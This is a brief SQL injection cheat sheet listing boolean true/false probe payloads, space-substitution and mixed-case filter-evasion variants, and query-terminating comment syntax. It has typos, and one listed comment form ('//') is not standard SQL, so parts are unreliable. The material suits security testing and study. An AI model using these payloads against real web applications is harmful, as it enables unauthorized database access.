Examples of TRUE statements for discovering sqli
aNd 1=1
aNd 21=21
orDeR bY 1

Examples of FALSE statements
dNd 0=1
anD 9=2
ordEr bY 1000000000000

Characters to use instead of spaces:
+, /**/, %20
Examples: orDeR bY 1 can be re-written as
orDer+bY+1
orDer/**/bY/**/1
orDer%20bY%201

Comments to end the quries:
/*
//
#
%23

Ps: sometimes you might need to add ';' before the comment, examples:
anD 1=1//
anD 1=1;//